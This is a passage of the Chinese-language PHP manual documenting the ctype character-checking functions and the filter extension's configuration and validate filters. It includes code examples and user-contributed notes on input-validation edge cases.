  • PHP Manual
  • Ctype 函数
  • 做控制字符检测

ctype_cntrl

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_cntrl — 做控制字符检测

说明

ctype_cntrl ( string $text ) : bool

检查提供的 string 和 text 里面的字符是不是都是控制字符。 控制字符就是例如：换行、缩进、空格。

参数

text

需要被测试的字符串。

返回值

如果在当前的语言环境下 text 里面的每个字符都是控制字符，就返回 TRUE ；反之就返回 FALSE 。

范例

Example #1 一个 ctype_cntrl() 例子

<?php
$strings = array('string1' => "\n\r\t", 'string2' => 'arf12');
foreach ($strings as $name => $testcase) {
    if (ctype_cntrl($testcase)) {
        echo "The string '$name' consists of all control characters.\n";
    } else {
        echo "The string '$name' does not consist of all control characters.\n";
    }
}
?>

以上例程会输出：

The string 'string1' consists of all control characters.
The string 'string2' does not consist of all control characters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_print() - 做可打印字符检测

User Contributed Notes

Tor 09-Mar-2013 10:02
Returns true if bytes are in the range of \x00-\x1f or \x7f (del). Returns false if bytes are in the range of \x20-\x7e or \x80-\xff.


做纯数字检测

  • ? ctype_cntrl
  • ctype_graph ?
  • PHP Manual
  • Ctype 函数
  • 做纯数字检测

ctype_digit

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_digit — 做纯数字检测

说明

ctype_digit ( string $text ) : bool

检查提供的 string 和 text 里面的字符是不是都是数字。

参数

text

需要被测试的字符串。

返回值

如果 text 字符串是一个十进制数字，就返回 TRUE ；反之就返回 FALSE 。

更新日志

版本 | 说明
5.1.0 | 在 PHP 5.1.0 之前，当 text 是一个空字符串的时候，该函数将返回 TRUE 。

范例

Example #1 一个 ctype_digit() 例子

<?php
$strings = array('1820.20', '10002', 'wsl!12');
foreach ($strings as $testcase) {
    if (ctype_digit($testcase)) {
        echo "The string $testcase consists of all digits.\n";
    } else {
        echo "The string $testcase does not consist of all digits.\n";
    }
}
?>

以上例程会输出：

The string 1820.20 does not consist of all digits.
The string 10002 consists of all digits.
The string wsl!12 does not consist of all digits.

Example #2 一个通过 ctype_digit() 来比对字符和整数的例子。

<?php

$numeric_string = '42';
$integer        = 42;

ctype_digit($numeric_string);  // true
ctype_digit($integer);         // false (ASCII 42 is the * character)

is_numeric($numeric_string);   // true
is_numeric($integer);          // true
?>

注释

Note:

这个函数的参数要求是一个 string 这一点是非常有用的，因此当你传入一个 integer 的参数也许不能得到期望的结果。然后，同样需要注意HTML表单将会返回数字字符串而不是一个整型。 看下手册的 types 章节。

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_alnum() - 做字母和数字字符检测
  • ctype_xdigit() - 检测字符串是否只包含十六进制字符
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_int() - 检测变量是否是整数
  • is_string() - 检测变量是否是字符串

User Contributed Notes

brcontainer at yahoo dot com dot br 07-Oct-2018 03:00
ctype_digit don't support negative value in string:

<?php
var_dump( ctype_digit('-10') ); //return bool(false)
?>

Improved (and simplified) Tim Boormans code:

<?php
/**
 * Check input for existing only of digits (numbers)
 * @author Guilherme Nascimento <brcontainer@yahoo.com.br>
 * @param $digit
 * @return bool
 */
function is_digit($digit)
{
    return preg_match('#^-?\d+$#', $digit) && is_int((int) $digit);
}
zorrosNOSPAMwordsman at NOSPAM dot gmail dot com 11-May-2016 12:34
If you want to verify whether or not a variable contains only digits, you can type cast it to a string and back to int and see if the result is identical. Like so:

<?php

// (bool) TRUE if only digits, FALSE otherwise
$isOnlyDigits = (string) (int) $input === (string) $input;

?>

I haven't benchmarked it, but I'm guessing it's significantly faster then regular expressions.
smicheal2 at gmail dot com 07-Oct-2015 01:21
Please note that ctype_digit() will say true for strings such as '00001', which are not technically valid representations of integers, while saying false to strings such as '-1', which are. It's basically a faster version of the regex /^\d+$/. As the name says, it answers the question "does this string contain only digits" literally. It does not answer "is this a valid representation of an integer". If that's what you want, use is_int(filter_var($val, FILTER_VALIDATE_INT)) instead.
error17191 at gmail dot com 03-Oct-2015 01:41
I just wanted to clarify a flaw in the function is_digit() suggested by "info at directwebsolutions dot nl " ..
It returns true in case of negative integers and false in case of strings that contain negative integers .
 example:
is_digit(-10); // returns ture
is_digit('-10'); // returns false
rlerne at gmail dot com 25-Apr-2013 06:04
Interesting to note that you must pass a STRING to this function, other values won't be typecasted (I figured it would even though above explicitly says string $text).

I.E.

<?PHP
$val = 42; //Answer to life
$x = ctype_digit($val);
?>

Will return false, even though, when typecasted to string, it would be true.

<?PHP
$val = '42';
$x = ctype_digit($val);
?>

Returns True.

Could do this too:

<?PHP
$val = 42;
$x = ctype_digit((string) $val);
?>

Which will also return true, as it should.
info at directwebsolutions dot nl 19-May-2012 09:16
All basic PHP functions which i tried returned unexpected results. I would just like to check whether some variable only contains numbers. For example: when i spread my script to the public i cannot require users to only use numbers as string or as integer. For those situation i wrote my own function which handles all inconveniences of other functions and which is not depending on regular expressions. Some people strongly believe that regular functions slow down your script.

The reason to write this function:
1. is_numeric() accepts values like: +0123.45e6 (but you would expect it would not)
2. is_int() does not accept HTML form fields (like: 123) because they are treated as strings (like: "123").
3. ctype_digit() excepts all numbers to be strings (like: "123") and does not validate real integers (like: 123).
4. Probably some functions would parse a boolean (like: true or false) as 0 or 1 and validate it in that manner.

My function only accepts numbers regardless whether they are in string or in integer format.
<?php
    /**
     * Check input for existing only of digits (numbers)
     * @author Tim Boormans <info@directwebsolutions.nl>
     * @param $digit
     * @return bool
     */
    function is_digit($digit) {
        if(is_int($digit)) {
            return true;
        } elseif(is_string($digit)) {
            return ctype_digit($digit);
        } else {
            // booleans, floats and others
            return false;
        }
    }
?>
Skippy 25-Oct-2011 01:44
If you need to check for integers instead of just digits you can supply your own function such as this:

<?php
function ctype_int($text)
{
    return preg_match('/^-?[0-9]+$/', (string)$text) ? true : false;
}
?>
mdsky at web dot de 21-May-2010 12:44
is_numeric gives true by f. ex. 1e3 or 0xf5 too. So it's not the same as ctype_digit, which just gives true when only values from 0 to 9 are entered.
John Saman 05-Feb-2010 05:38
Using is_numeric function is quite faster than ctype_digit.

is_numeric took 0.237 Seconds for one million runs. while ctype_digit took 0.470 Seconds.
strrev xc tod noxeh ta ellij 14-Dec-2009 08:41
ctype_digit() will treat all passed integers below 256 as character-codes. It returns true for 48 through 57 (ASCII '0'-'9') and false for the rest.

ctype_digit(5) -> false
ctype_digit(48) -> true
ctype_digit(255) -> false
ctype_digit(256) -> true

(Note: the PHP type must be an int; if you pass strings it works as expected)
Peter de Pijd 18-Jul-2009 03:53
Note that an empty string is also false:
ctype_digit("") // false
a_p_leeming at hotmail dot com 24-May-2009 06:17
Also note that

<?php ctype_digit("-1");   //false ?>
raul dot 3k at gmail dot com 09-Apr-2009 08:21
The ctype_digit can be used in a simple form to validate a field:
<?php
$field = $_POST["field"];
if(!ctype_digit($field)){
  echo "It's not a digit";
}
?>

Note:
Digits is 0-9


做可打印字符串检测，空格除外

  • ? ctype_digit
  • ctype_lower ?
  • PHP Manual
  • Ctype 函数
  • 做可打印字符串检测，空格除外

ctype_graph

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_graph — 做可打印字符串检测，空格除外

说明

ctype_graph ( string $text ) : bool

检查提供的 string 和 text 里面的字符输出都是可见的。

参数

text

需要被测试的字符串。

返回值

如果 text 里面的每个字符都是输出可见的（没有空白），就返回 TRUE ；反之就返回 FALSE 。

范例

Example #1 一个 ctype_graph() 例子

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
    if (ctype_graph($testcase)) {
        echo "The string '$name' consists of all (visibly) printable characters.\n";
    } else {
        echo "The string '$name' does not consist of all (visibly) printable characters.\n";
    }
}
?>

以上例程会输出：

The string 'string1' does not consist of all (visibly) printable characters.
The string 'string2' consists of all (visibly) printable characters.
The string 'string3' consists of all (visibly) printable characters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_alnum() - 做字母和数字字符检测
  • ctype_print() - 做可打印字符检测
  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母

User Contributed Notes

There are no user contributed notes for this page.


做小写字符检测

  • ? ctype_graph
  • ctype_print ?
  • PHP Manual
  • Ctype 函数
  • 做小写字符检测

ctype_lower

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_lower — 做小写字符检测

说明

ctype_lower ( string $text ) : bool

检查提供的 string 和 text 里面的字符是不是都是小写字母。

参数

text

需要被测试的字符串。

返回值

如果在当前的语言环境下 text 里面的每个字符都是小写字母，就返回 TRUE ；反之就返回 FALSE 。

范例

Example #1 一个 ctype_lower() 例子 (使用默认的语言环境)

<?php
$strings = array('aac123', 'qiutoas', 'QASsdks');
foreach ($strings as $testcase) {
    if (ctype_lower($testcase)) {
        echo "The string $testcase consists of all lowercase letters.\n";
    } else {
        echo "The string $testcase does not consist of all lowercase letters.\n";
    }
}
?>

以上例程会输出：

The string aac123 does not consist of all lowercase letters.
The string qiutoas consists of all lowercase letters.
The string QASsdks does not consist of all lowercase letters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_alpha() - 做纯字符检测
  • ctype_upper() - 做大写字母检测
  • setlocale() - 设置地区信息

User Contributed Notes

There are no user contributed notes for this page.


做可打印字符检测

  • ? ctype_lower
  • ctype_punct ?
  • PHP Manual
  • Ctype 函数
  • 做可打印字符检测

ctype_print

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_print — 做可打印字符检测

说明

ctype_print ( string $text ) : bool

检查提供的 string 和 text 里面的字符是不是都是可以打印出来。

参数

text

需要被测试的字符串。

返回值

如果在当前的语言环境下 text 里面的每个字符都能被实际输出（包括空白），就返回 TRUE ；如果 text 里面包含控制字符或者那些根本不会有任何输出的字符串，就返回 FALSE 。

范例

Example #1 一个 ctype_print() 例子

<?php
$strings = array('string1' => "asdf\n\r\t", 'string2' => 'arf12', 'string3' => 'LKA#@%.54');
foreach ($strings as $name => $testcase) {
    if (ctype_print($testcase)) {
        echo "The string '$name' consists of all printable characters.\n";
    } else {
        echo "The string '$name' does not consist of all printable characters.\n";
    }
}
?>

以上例程会输出：

The string 'string1' does not consist of all printable characters.
The string 'string2' consists of all printable characters.
The string 'string3' consists of all printable characters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_cntrl() - 做控制字符检测
  • ctype_graph() - 做可打印字符串检测，空格除外
  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母

User Contributed Notes

ClayDragon 02-Sep-2018 09:20
As mentioned above, only ASCII characters from 32 to 126 are considered printable, all others, including UTF-8 encoded characters are always considered unprintable, no matter what your locale settings are. Therefore, e.g. German "?", the Euro sign "�" or the British pound symbol "￡" will never be printable. If you need to check any characters for "printability" beyond the standard ASCII range, use a regular expression or write a specific function yourself.

See also this discussion: https://grokbase.com/t/php/php-i18n/102tkqe6rk/ctype-print-returns-false-for-british-pound-symbol-and-non-ascii-symbols
Anonymous 12-Jun-2012 05:59
Only ascii 32 thru 126 (inclusive) are considered printable. Tab (ascii 7), carriage return (ascii 13), linefeed (ascii 10) etc may produce output but are not considered printable.


检测可打印的字符是不是不包含空白、数字和字母

  • ? ctype_print
  • ctype_space ?
  • PHP Manual
  • Ctype 函数
  • 检测可打印的字符是不是不包含空白、数字和字母

ctype_punct

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_punct — 检测可打印的字符是不是不包含空白、数字和字母

说明

ctype_punct ( string $text ) : bool

检查提供的 string 和 text 里面的字符是不是都是标点符号。

参数

text

需要被测试的字符串。

返回值

如果在 text 里面的每个字符都是能打印的，但不是字母、数字，也不是空白，那么就返回 TRUE ；反之则返回 FALSE 。

范例

Example #1 一个 ctype_punct() 的例子

<?php
$strings = array('ABasdk!@!$#', '!@ # $', '*&$()');
foreach ($strings as $testcase) {
    if (ctype_punct($testcase)) {
        echo "The string $testcase consists of all punctuation.\n";
    } else {
        echo "The string $testcase does not consist of all punctuation.\n";
    }
}
?>

以上例程会输出：

The string ABasdk!@!$# does not consist of all punctuation.
The string !@ # $ does not consist of all punctuation.
The string *&$() consists of all punctuation.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_cntrl() - 做控制字符检测
  • ctype_graph() - 做可打印字符串检测，空格除外

User Contributed Notes

There are no user contributed notes for this page.


做空白字符检测

  • ? ctype_punct
  • ctype_upper ?
  • PHP Manual
  • Ctype 函数
  • 做空白字符检测

ctype_space

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_space — 做空白字符检测

说明

ctype_space ( string $text ) : bool

检查提供的 string 和 text 里面的字符是否包含空白。

参数

text

需要被测试的字符串。

返回值

如果 text 里面的每个字符最终被实际输出的时候都是某种形式的空白，就返回 TRUE ；否则返回 FALSE 。 除了空白字符，还包括缩进，垂直制表符，换行符，回车和换页字符。

范例

Example #1 一个 ctype_space() 例子

<?php
$strings = array('string1' => "\n\r\t", 'string2' => "\narf12", 'string3' => '\n\r\t');
foreach ($strings as $name => $testcase) {
    if (ctype_space($testcase)) {
        echo "The string '$name' consists of all whitespace characters.\n";
    } else {
        echo "The string '$name' does not consist of all whitespace characters.\n";
    }
}
?>

以上例程会输出：

The string 'string1' consists of all whitespace characters.
The string 'string2' does not consist of all whitespace characters.
The string 'string3' does not consist of all whitespace characters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_cntrl() - 做控制字符检测
  • ctype_graph() - 做可打印字符串检测，空格除外
  • ctype_punct() - 检测可打印的字符是不是不包含空白、数字和字母

User Contributed Notes

vlabots at gmail dot com 18-Jun-2014 07:03
thanks to gardnerjohng, but a had some problems with non-breaking spaces in this function.

I added 2 more cases for this:
case 0xC2
case 0xA0

After this modification non-breaking spaces in my test code were successfully detected.
gardnerjohng at hotmail dot com 14-Sep-2009 09:00
A function I wrote last night was fairly flexible in terms of detecting whitespace, and even took into account the pesky non-breaking spaces / zero-width spaces further up the Unicode alphabet.

The benefit here was being able to isolate and identify specific Unicode indices based on their subrange.

<?php
    //    Returns TRUE if the ASCII value of $string matches a registered whitespace character.
    //    *    This includes non-breaking spaces, zero-width spaces, and any unicode values below 32.
    //    *    $string: Character to identify. If string extends past one character, the value
    //        is truncated and only the initial character is examined.
    function is_whitespace($string){
        //    Return FALSE if passed an empty string.
        if($string == "") return FALSE;

        $char    =    ord($string);

        //    Control Characters
        if($char < 33)                        return TRUE;
        if($char > 8191 && $char < 8208)    return TRUE;
        if($char > 8231 && $char < 8240)    return TRUE;

        //    Additional Characters
        switch($char){
            case 160:    // Non-Breaking Space
            case 8287:    // Medium Mathematical Space
                return TRUE;
                break;
        }
        return FALSE;
    }
?>


做大写字母检测

  • ? ctype_space
  • ctype_xdigit ?
  • PHP Manual
  • Ctype 函数
  • 做大写字母检测

ctype_upper

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_upper — 做大写字母检测

说明

ctype_upper ( string $text ) : bool

检查 string 和 text 里面的字符是不是都是大写字母。

参数

text

需要被测试的字符串。

返回值

在当前语言环境下，如果 text 里面的每个字符都是大写字母，就返回 TRUE。

范例

Example #1 一个 ctype_upper() 例子 （使用当前默认语言环境）

<?php
$strings = array('AKLWC139', 'LMNSDO', 'akwSKWsm');
foreach ($strings as $testcase) {
    if (ctype_upper($testcase)) {
        echo "The string $testcase consists of all uppercase letters.\n";
    } else {
        echo "The string $testcase does not consist of all uppercase letters.\n";
    }
}
?>

以上例程会输出：

The string AKLWC139 does not consist of all uppercase letters.
The string LMNSDO consists of all uppercase letters.
The string akwSKWsm does not consist of all uppercase letters.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_alpha() - 做纯字符检测
  • ctype_lower() - 做小写字符检测
  • setlocale() - 设置地区信息

User Contributed Notes

Anonymous 06-Jan-2016 07:25
// after screwing around with function.ctype-upper
// I found this simple solution

if (strtolower($string) != $string)// its so simple!
{
  echo "uppercase letters found in $string";
}

source: http://stackoverflow.com/questions/4426327/how-to-detect-if-string-contains-1-uppercase-letter-in-php
chris at theothernews dot co dot nz 11-Jun-2014 02:32
Underscores in the string will result in false, so you have to remove them first.


检测字符串是否只包含十六进制字符

  • ? ctype_upper
  • Filter ?
  • PHP Manual
  • Ctype 函数
  • 检测字符串是否只包含十六进制字符

ctype_xdigit

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

ctype_xdigit — 检测字符串是否只包含十六进制字符

说明

ctype_xdigit ( string $text ) : bool

检查 string 和 text 里面的字符是不是都是十六进制字符串。

参数

text

需要被测试的字符串。

返回值

如果 text 里面的每个字符都是十六进制字符。也就是只能包含十进制的树枝和 [A-Fa-f] 的字母。否则，返回 FALSE 。

范例

Example #1 一个 ctype_xdigit() 的例子

<?php
$strings = array('AB10BC99', 'AR1012', 'ab12bc99');
foreach ($strings as $testcase) {
    if (ctype_xdigit($testcase)) {
        echo "The string $testcase consists of all hexadecimal digits.\n";
    } else {
        echo "The string $testcase does not consist of all hexadecimal digits.\n";
    }
}
?>

以上例程会输出：

The string AB10BC99 consists of all hexadecimal digits.
The string AR1012 does not consist of all hexadecimal digits.
The string ab12bc99 consists of all hexadecimal digits.

注释

Note:

如果给出一个 -128 到 255 之间(含)的整数, 将会被解释为该值对应的ASCII字符 (负值将加上 256 以支持扩展ASCII字符). 其它整数将会被解释为该值对应的十进制字符串.

参见

  • ctype_digit() - 做纯数字检测

User Contributed Notes

tom at hgmail dot com 14-Jan-2006 12:36
This function shows its usefulness on a web site where a user is asked to entered a hexidecimal color code for a color. To prevent breaking W3C standard and having them enter in "neon-green" or the wrong type of code like 355511235.

In conjunction with strlen()  you could create a function like this:

function check_valid_colorhex($colorCode) {
    // If user accidentally passed along the # sign, strip it off
    $colorCode = ltrim($colorCode, '#');

    if (
          ctype_xdigit($colorCode) &&
          (strlen($colorCode) == 6 || strlen($colorCode) == 3))
               return true;

    else return false;
}


Data Filtering

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • Types of filters
    • Validate filters
    • Sanitize filters
    • Other filters
    • Filter flags
  • 预定义常量
  • 范例
    • Validation
    • Sanitization
  • 过滤器函数
    • filter_has_var — 检测是否存在指定类型的变量
    • filter_id — 返回与某个特定名称的过滤器相关联的id
    • filter_input_array — 获取一系列外部变量，并且可以通过过滤器处理它们
    • filter_input — 通过名称获取特定的外部变量，并且可以通过过滤器处理它
    • filter_list — 返回所支持的过滤器列表
    • filter_var_array — 获取多个变量并且过滤它们
    • filter_var — 使用特定的过滤器过滤一个变量

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension filters data by either validating or sanitizing it. This is especially useful when the data source contains unknown (or foreign) data, like user supplied input. For example, this data may come from an HTML form.

There are two main types of filtering: validation and sanitization.

Validation is used to validate or check if the data meets certain qualifications. For example, passing in FILTER_VALIDATE_EMAIL will determine if the data is a valid email address, but will not change the data itself.

Sanitization will sanitize the data, so it may alter it by removing undesired characters. For example, passing in FILTER_SANITIZE_EMAIL will remove characters that are inappropriate for an email address to contain. That said, it does not validate the data.

Flags are optionally used with both validation and sanitization to tweak behaviour according to need. For example, passing in FILTER_FLAG_PATH_REQUIRED while filtering an URL will require a path (like /foo in http://example.org/foo) to be present.

User Contributed Notes

There are no user contributed notes for this page.


安装

The filter extension is enabled by default as of PHP 5.2.0. To disable the filter extension, use --disable-filter .

Before PHP 5.2 an experimental PECL extension was used, however, the PECL version is no longer recommended or updated.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Filter Configuration Options
名字 | 默认 | 可修改范围 | 更新日志
filter.default | "unsafe_raw" | PHP_INI_PERDIR | PHP_INI_ALL in filter <= 0.9.4. Available since PHP 5.2.0.
filter.default_flags | NULL | PHP_INI_PERDIR | PHP_INI_ALL in filter <= 0.9.4. Available since PHP 5.2.0.
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

filter.default string

Filter all $_GET, $_POST, $_COOKIE, $_REQUEST and $_SERVER data by this filter. Original data can be accessed through filter_input().

Accepts the name of the filter you like to use by default. See the existing filter list for the list of the filter names.

Note:

Be careful about the default flags for the default filters. You should explicitly set them to the value you want. For example, to configure the default filter to behave exactly like htmlspecialchars() you need to set them default flags to 0 as shown below.

Example #1 Configuring the default filter to act like htmlspecialchars

filter.default = full_special_chars
filter.default_flags = 0

filter.default_flags integer

Default flags to apply when the default filter is set. This is set to FILTER_FLAG_NO_ENCODE_QUOTES by default for backwards compatibility reasons. See the flag list for the list of all the flag names.

User Contributed Notes

warbaby67 at gmail dot com 14-Dec-2010 10:04
filter.default sets the default FILTER by name.
filter.default_flags sets default FLAGS for the default filter.

The values for filter.default should be a string "name" of a valid FILTER:

"int"      FILTER_VALIDATE_INT
"boolean"  FILTER_VALIDATE_BOOLEAN

The irony of the entire list I typed being blocked by the SPAM filter is not lost on me.  Perhaps I'm not the first.


Types of filters

Table of Contents

  • Validate filters
  • Sanitize filters
  • Other filters
  • Filter flags

User Contributed Notes

There are no user contributed notes for this page.


Validate filters

Listing of filters for validation
ID | Name | Options | Flags | Description
FILTER_VALIDATE_BOOLEAN | "boolean" | default | FILTER_NULL_ON_FAILURE | Returns TRUE for "1", "true", "on" and "yes". Returns FALSE otherwise. If FILTER_NULL_ON_FAILURE is set, FALSE is returned only for "0", "false", "off", "no", and "", and NULL is returned for all non-boolean values.
FILTER_VALIDATE_DOMAIN | "validate_domain" | default | FILTER_FLAG_HOSTNAME | Validates whether the domain name label lengths are valid. Validates domain names against RFC 1034, RFC 1035, RFC 952, RFC 1123, RFC 2732, RFC 2181, and RFC 1123. Optional flag FILTER_FLAG_HOSTNAME adds ability to specifically validate hostnames (they must start with an alphanumberic character and contain only alphanumerics or hyphens).
FILTER_VALIDATE_EMAIL | "validate_email" | default | FILTER_FLAG_EMAIL_UNICODE | Validates whether the value is a valid e-mail address. In general, this validates e-mail addresses against the syntax in RFC 822, with the exceptions that comments and whitespace folding and dotless domain names are not supported.
FILTER_VALIDATE_FLOAT | "float" | default, decimal | FILTER_FLAG_ALLOW_THOUSAND | Validates value as float, and converts to float on success.
FILTER_VALIDATE_INT | "int" | default, min_range, max_range | FILTER_FLAG_ALLOW_OCTAL, FILTER_FLAG_ALLOW_HEX | Validates value as integer, optionally from the specified range, and converts to int on success.
FILTER_VALIDATE_IP | "validate_ip" | default | FILTER_FLAG_IPV4, FILTER_FLAG_IPV6, FILTER_FLAG_NO_PRIV_RANGE, FILTER_FLAG_NO_RES_RANGE | Validates value as IP address, optionally only IPv4 or IPv6 or not from private or reserved ranges.
FILTER_VALIDATE_MAC | "validate_mac_address" | default |  | Validates value as MAC address.
FILTER_VALIDATE_REGEXP | "validate_regexp" | default, regexp |  | Validates value against regexp, a Perl-compatible regular expression.
FILTER_VALIDATE_URL | "validate_url" | default | FILTER_FLAG_SCHEME_REQUIRED, FILTER_FLAG_HOST_REQUIRED, FILTER_FLAG_PATH_REQUIRED, FILTER_FLAG_QUERY_REQUIRED | Validates value as URL (according to » http://www.faqs.org/rfcs/rfc2396), optionally with required components. Beware a valid URL may not specify the HTTP protocol http:// so further validation may be required to determine the URL uses an expected protocol, e.g. ssh:// or mailto:. Note that the function will only find ASCII URLs to be valid; internationalized domain names (containing non-ASCII characters) will fail.

Note:

As of PHP 5.4.11, the numbers +0 and -0 validate as both integers as well as floats (using FILTER_VALIDATE_FLOAT and FILTER_VALIDATE_INT). Before PHP 5.4.11 they only validated as floats (using FILTER_VALIDATE_FLOAT).

When default is set to option, default's value is used if value is not validated.

更新日志

版本 | 说明
7.0.0 | Added FILTER_FLAG_HOSTNAME
5.5.0 | Added FILTER_VALIDATE_MAC
5.2.1 | FILTER_VALIDATE_URL now implicitly uses FILTER_FLAG_SCHEME_REQUIRED and FILTER_FLAG_HOST_REQUIRED.

User Contributed Notes

Vee W. 12-Aug-2019 10:09
`FILTER_FLAG_EMAIL_UNICODE` was added in PHP 7.1
gee2711 at googlemail dot com 30-Jan-2018 06:36
FILTER_FLAG_QUERY_REQUIRED is failing URLs that are encoded e.g.

http://example.com/page.php?q=growing+big

Fails whilst

http://example.com/page.php?q=big

So anything more than one word encoded fails.

Tested on PHP version 7.1
luca at accomazzi dot net 04-May-2017 02:47
A word to the wise regarding floats.

$t = '312041.25 &euro; instead of 896.70 &euro;';
echo filter_var ($t, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);

will return
312041.25896.70
which is likely not what you were expecting. In 2007 someone suggested it's not acceptable (see https://bugs.php.net/bug.php?id=40156&edit=2) but it was flagged "not a bug" because these kind of filters are only supposed to filter out illegal characters.
Of course if you were to use FILTER_VALIDATE_FLOAT it would just return that the input is not valid.
kizge 30-Jun-2016 08:18
FILTER_VALIDATE_INT first casts its value to string which produces unexpected result for bool and float (https://bugs.php.net/bug.php?id=72490):

<?php

// Prints int(1).
var_dump(filter_var(true, FILTER_VALIDATE_INT));

// ...but this prints bool(false).
var_dump(filter_var(false, FILTER_VALIDATE_INT));

// --------

// Prints bool(false).
var_dump(filter_var(1.1, FILTER_VALIDATE_INT));

// ...but this prints int(0).
var_dump(filter_var(0.0, FILTER_VALIDATE_INT));

// ...but this again is bool(false).
var_dump(filter_var('0.0', FILTER_VALIDATE_INT));

// Also bool(false).
var_dump(filter_var('-0.0', FILTER_VALIDATE_INT));

?>

Live sample: https://3v4l.org/CZW0W

The docs are not clear on how exactly this casting affects the result for certain input values.
sebastian dot piskorski at gmail dot com 05-Jan-2016 12:48
FILTER_VALIDATE_EMAIL not only doesn't support whitespace folding and comments. It only checks Addr-spec part of email address. Otherwise it should mark such address as valid: 'Test Example <test@example.com>' because it is valid according to RFC 822.

Also address "test@localhost" should be valid. Which is mentioned in another note.

You can test it with this code:
<?php

$emails = array(
    'Test Example <test@example.com>',
    'test@localhost',
    'test@localhost.com'
);

foreach ($emails as $email) {
    echo (filter_var($email, FILTER_VALIDATE_EMAIL)) ?
        "[+] Email '$email' is valid\n" :
        "[-] Email '$email' is NOT valid\n";
}
?>

Output for PHP 5.3.21 - 7.0.1 :
[-] Email 'Test Example <test@example.com>' is NOT valid
[-] Email 'test@localhost' is NOT valid
[+] Email 'test@localhost.com' is valid
rsnell at usgs dot gov 25-Nov-2015 05:18
Note that if using FILTER_NULL_ON_FAILURE as a flag with the FILTER_VALIDATE_BOOLEAN id then NULL is no longer returned if the variable name is not set in the external variable array. It will instead return FALSE. In the description is says that when using the FILTER_NULL_ON_FAILURE flag that ' FALSE is returned only for "0", "false", "off", "no", and ""' an makes no mention of this additional state that can also return false. The behavior is mentioned on the filter_input documentation page under Return Values but that is not overly helpful if one is just looking here.

If FILTER_NULL_ON_FAILURE is not used then NULL is returned when the variable name is not set in the external variable array, TRUE is returned for "1", "true", "on" and "yes" and FALSE is returned for everything else.
Lech 05-Sep-2015 08:41
The description for FILTER_VALIDATE_URL seems incorrect/misleading. "Beware a valid URL may not specify the HTTP protocol" implies a valid URL cannot specify the HTTP protocol. I think "Beware a valid URL need not specify..." would be better.
Wrinkled Cheese 09-Jun-2015 03:33
When validating a URL, as documented, the protocol is not validated.  However, it is required to be present.

For example:

I don't expect a protocol to be present.  To validate expected input I have to add a "protocol" as a prefix, and return true or false, and further validate the input.

$r = filter_var(''this.doesnt.matter.so.why.is.it.required://'.$host, FILTER_VALIDATE_URL);
return ($r != '' && $r !== false) ? true : false;
Darth Killer 02-Jun-2015 08:54
Contrary to what documentation implies, the FILTER_NULL_ON_FAILURE seem to affect any validation filter, not just FILTER_VALIDATE_BOOLEAN. I've been using that since PHP 5.2, and as of PHP 5.6.8 it still works. I have no clue if it's a blug or if it is as intended, in which case the documentation needs to be fixed.

When the flag is used on a validation filter other than FILTER_VALIDATE_BOOLEAN, as expected the filter will return NULL instead of FALSE upon failure. This is quite useful when filtering a POST form with filter_input_array(), where you don't want to check what field is invalid and what field is missing. Just check if NULL is among the returned elements and you're done.

<?php
$definition = array(
   'login' => array(
      'filter' => FILTER_VALIDATE_STRING,
      'flags' => FILTER_NULL_ON_FAILURE
   ),
   'pwd' => FILTER_UNSAFE_RAW
);
$form_data = filter_input_array(INPUT_POST, $definition);
if(in_array(null, $form_data, true)) {
   // invalid form
} else {
   // valid form, let's proceed
}
?>

Of course, if you want more precise error messages that approach won't work. But it's still good to know, i believe.
Luuk 25-May-2015 10:23
@2:
$value = " 0 ";
$filtered = filter_var($value, FILTER_VALIDATE_INT);
if($filtered || $filtered === 0)
{
    // validated as an int
}

I think next code is better:

$value = "0";
if(filter_var($value, FILTER_VALIDATE_INT) !== false)
{
  .....
Anonymous 22-May-2015 08:02
